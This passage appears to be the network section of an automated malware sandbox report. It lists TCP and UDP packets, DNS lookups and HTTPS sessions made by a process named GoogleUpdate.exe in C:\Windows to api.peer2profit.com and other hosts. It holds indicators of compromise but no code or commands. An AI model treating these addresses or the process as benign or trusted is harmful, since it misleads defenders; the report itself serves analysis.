Nov 27, 2022 04:38:18.409193039 CET	50030	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.409337997 CET	50030	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.409346104 CET	443	50030	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.409625053 CET	443	50030	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.447554111 CET	443	50029	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.447712898 CET	443	50029	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.447917938 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.447917938 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.448124886 CET	50029	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.448158979 CET	443	50029	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.551378012 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.551430941 CET	443	50031	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.551512957 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.551990032 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.552016973 CET	443	50031	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.597209930 CET	50032	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.597286940 CET	443	50032	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.597393036 CET	50032	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.597604990 CET	50032	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.597625017 CET	443	50032	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.597722054 CET	443	50032	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.601690054 CET	443	50031	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.601794958 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.602396011 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.602413893 CET	443	50031	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.605113029 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.605135918 CET	443	50031	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.704963923 CET	443	50031	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.705048084 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.705084085 CET	443	50031	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.705122948 CET	443	50031	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.705140114 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.705171108 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.705681086 CET	50031	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.705710888 CET	443	50031	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.816150904 CET	50033	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.816231966 CET	443	50033	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.816329956 CET	50033	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.816536903 CET	50033	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:18.816567898 CET	443	50033	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.816653967 CET	443	50033	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:18.819125891 CET	50034	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.819211006 CET	443	50034	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.819293022 CET	50034	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.819717884 CET	50034	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.819750071 CET	443	50034	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.868803024 CET	443	50034	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.868892908 CET	50034	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.869437933 CET	50034	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.869468927 CET	443	50034	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.872176886 CET	50034	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.872201920 CET	443	50034	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.973587990 CET	443	50034	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.973683119 CET	443	50034	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:18.973686934 CET	50034	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.973731041 CET	50034	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.973929882 CET	50034	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:18.973956108 CET	443	50034	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.034526110 CET	50035	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.034635067 CET	443	50035	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.034754992 CET	50035	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.034909964 CET	50035	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.034930944 CET	443	50035	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.035151958 CET	443	50035	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.087909937 CET	50036	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.087974072 CET	443	50036	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.088094950 CET	50036	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.088619947 CET	50036	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.088651896 CET	443	50036	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.138062000 CET	443	50036	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.138226032 CET	50036	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.138745070 CET	50036	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.138762951 CET	443	50036	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.141520977 CET	50036	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.141542912 CET	443	50036	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.191036940 CET	50037	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.191128016 CET	443	50037	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.191231012 CET	50037	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.191406012 CET	50037	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.191425085 CET	443	50037	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.191672087 CET	443	50037	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.239279032 CET	443	50036	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.239540100 CET	443	50036	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.239659071 CET	50036	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.250046968 CET	50036	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.250087023 CET	443	50036	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.363046885 CET	50038	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.363125086 CET	443	50038	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.366221905 CET	50038	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.366386890 CET	50038	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.366417885 CET	443	50038	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.366705894 CET	443	50038	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.380254030 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.380311012 CET	443	50039	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.380759954 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.381195068 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.381222963 CET	443	50039	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.430154085 CET	443	50039	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.430309057 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.431011915 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.431035042 CET	443	50039	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.433758974 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.433779001 CET	443	50039	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.531692982 CET	443	50039	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.532002926 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.532051086 CET	443	50039	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.532139063 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.532206059 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.532301903 CET	443	50039	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.532393932 CET	50039	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.581378937 CET	50040	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.581458092 CET	443	50040	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.581643105 CET	50040	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.581824064 CET	50040	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.581845999 CET	443	50040	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.581994057 CET	443	50040	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.645771980 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.645859003 CET	443	50041	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.646042109 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.646403074 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.646435022 CET	443	50041	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.697231054 CET	443	50041	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.697380066 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.701694965 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.701740026 CET	443	50041	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.702395916 CET	443	50041	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.702476025 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.703114986 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.703129053 CET	443	50041	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.753066063 CET	50042	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.753149033 CET	443	50042	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.753273010 CET	50042	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.753452063 CET	50042	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.753480911 CET	443	50042	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.753582001 CET	443	50042	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.796274900 CET	443	50041	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.796363115 CET	443	50041	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.796412945 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.796441078 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.796657085 CET	50041	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.796677113 CET	443	50041	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.909678936 CET	50043	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.909761906 CET	443	50043	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.909890890 CET	50043	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.910063982 CET	50043	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:19.910087109 CET	443	50043	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.910238028 CET	443	50043	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:19.911264896 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.911351919 CET	443	50044	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.912128925 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.912534952 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.912570000 CET	443	50044	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.960746050 CET	443	50044	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.962035894 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.962560892 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.962584019 CET	443	50044	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:19.965259075 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:19.965277910 CET	443	50044	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.064269066 CET	443	50044	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.064634085 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.064687967 CET	443	50044	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.064776897 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.065227032 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.065295935 CET	443	50044	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.065566063 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.065571070 CET	443	50044	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.065638065 CET	50044	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.128205061 CET	50045	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.128288031 CET	443	50045	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.128412962 CET	50045	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.128586054 CET	50045	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.128618002 CET	443	50045	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.128777981 CET	443	50045	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.178478003 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.178543091 CET	443	50046	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.178839922 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.179234028 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.179254055 CET	443	50046	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.230082035 CET	443	50046	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.230319023 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.235368967 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.235403061 CET	443	50046	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.236104965 CET	443	50046	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.236207008 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.237622976 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.237642050 CET	443	50046	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.284858942 CET	50047	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.284914017 CET	443	50047	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.285139084 CET	50047	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.285414934 CET	50047	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.285434961 CET	443	50047	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.285590887 CET	443	50047	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.340966940 CET	443	50046	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.341113091 CET	443	50046	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.341149092 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.341217995 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.341351986 CET	50046	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.341373920 CET	443	50046	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.457082987 CET	50048	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.457137108 CET	443	50048	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.457222939 CET	50048	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.457391977 CET	50048	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.457401991 CET	443	50048	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.457570076 CET	443	50048	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.486126900 CET	50049	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.486217022 CET	443	50049	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.486371994 CET	50049	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.486778021 CET	50049	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.486809015 CET	443	50049	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.535129070 CET	443	50049	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.535536051 CET	50049	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.542078018 CET	50049	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.542129993 CET	443	50049	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.544871092 CET	50049	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.544909954 CET	443	50049	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.641159058 CET	443	50049	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.641297102 CET	443	50049	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.641318083 CET	50049	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.641380072 CET	50049	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.641696930 CET	50049	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.641716003 CET	443	50049	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.675846100 CET	50050	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.675935984 CET	443	50050	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.676049948 CET	50050	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.677997112 CET	50050	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.678052902 CET	443	50050	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.678134918 CET	443	50050	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.759064913 CET	50051	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.759149075 CET	443	50051	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.759290934 CET	50051	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.759711981 CET	50051	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.759744883 CET	443	50051	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.810784101 CET	443	50051	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.813676119 CET	50051	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.814239025 CET	50051	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.814270020 CET	443	50051	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.817080021 CET	50051	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.817104101 CET	443	50051	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.862987041 CET	50052	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.863049030 CET	443	50052	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.863164902 CET	50052	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.863403082 CET	50052	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:20.863421917 CET	443	50052	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.863503933 CET	443	50052	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:20.917125940 CET	443	50051	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.917315006 CET	443	50051	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:20.917417049 CET	50051	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.917417049 CET	50051	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.917567015 CET	50051	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:20.917603970 CET	443	50051	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:21.003299952 CET	50053	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:21.003350019 CET	443	50053	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:21.003428936 CET	50053	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:21.003658056 CET	50053	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:21.003674030 CET	443	50053	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:21.003745079 CET	443	50053	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:21.021048069 CET	50054	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:21.021099091 CET	443	50054	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:21.021200895 CET	50054	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:21.021635056 CET	50054	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:21.021655083 CET	443	50054	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:21.068645954 CET	443	50054	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:21.068774939 CET	50054	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:21.069358110 CET	50054	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:21.069371939 CET	443	50054	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:21.072108030 CET	50054	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:21.072118044 CET	443	50054	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:21.131181955 CET	50055	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:21.131264925 CET	443	50055	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:21.131376028 CET	50055	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:21.131472111 CET	50055	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:21.131493092 CET	443	50055	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:21.131671906 CET	443	50055	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:21.179982901 CET	443	50054	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:21.180069923 CET	50054	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:21.180094957 CET	443	50054	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:21.180146933 CET	50054	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:21.180176973 CET	443	50054	172.66.43.60	192.168.2.5
Nov 27, 2022 04:38:21.180236101 CET	50054	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:38:31.509183884 CET	50056	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:31.509222984 CET	443	50056	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:31.509311914 CET	50056	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:31.509412050 CET	50056	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:38:31.509418964 CET	443	50056	51.195.77.248	192.168.2.5
Nov 27, 2022 04:38:31.509588957 CET	443	50056	51.195.77.248	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2022 04:36:26.850764036 CET	51441	53	192.168.2.5	8.8.8.8
Nov 27, 2022 04:36:26.892493010 CET	49177	53	192.168.2.5	8.8.8.8
Nov 27, 2022 04:36:39.543385029 CET	49724	53	192.168.2.5	8.8.8.8
Nov 27, 2022 04:36:39.684868097 CET	53	49724	8.8.8.8	192.168.2.5
Nov 27, 2022 04:36:39.706195116 CET	61452	53	192.168.2.5	8.8.8.8
Nov 27, 2022 04:36:39.841829062 CET	53	61452	8.8.8.8	192.168.2.5
Nov 27, 2022 04:37:15.890604019 CET	55039	53	192.168.2.5	8.8.8.8
Nov 27, 2022 04:37:15.912729979 CET	53	55039	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 27, 2022 04:36:26.850764036 CET	192.168.2.5	8.8.8.8	0xbe7b	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Nov 27, 2022 04:36:26.892493010 CET	192.168.2.5	8.8.8.8	0xd629	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Nov 27, 2022 04:36:39.543385029 CET	192.168.2.5	8.8.8.8	0x4c8f	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Nov 27, 2022 04:36:39.706195116 CET	192.168.2.5	8.8.8.8	0xbd56	Standard query (0)	www.idpminic.org	A (IP address)	IN (0x0001)	false
Nov 27, 2022 04:37:15.890604019 CET	192.168.2.5	8.8.8.8	0x71c6	Standard query (0)	api.peer2profit.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 27, 2022 04:36:26.871033907 CET	8.8.8.8	192.168.2.5	0xbe7b	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2022 04:36:26.912213087 CET	8.8.8.8	192.168.2.5	0xd629	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2022 04:36:39.684868097 CET	8.8.8.8	192.168.2.5	0x4c8f	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2022 04:36:39.684868097 CET	8.8.8.8	192.168.2.5	0x4c8f	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Nov 27, 2022 04:36:39.841829062 CET	8.8.8.8	192.168.2.5	0xbd56	No error (0)	www.idpminic.org	idpminic.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 27, 2022 04:36:39.841829062 CET	8.8.8.8	192.168.2.5	0xbd56	No error (0)	idpminic.org		66.235.200.147	A (IP address)	IN (0x0001)	false
Nov 27, 2022 04:37:15.912729979 CET	8.8.8.8	192.168.2.5	0x71c6	No error (0)	api.peer2profit.com		172.66.43.60	A (IP address)	IN (0x0001)	false
Nov 27, 2022 04:37:15.912729979 CET	8.8.8.8	192.168.2.5	0x71c6	No error (0)	api.peer2profit.com		172.66.40.196	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.peer2profit.com

www.idpminic.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49710	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49712	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49738	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.5	49994	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.5	49997	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.5	49999	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.5	50002	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.5	50004	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
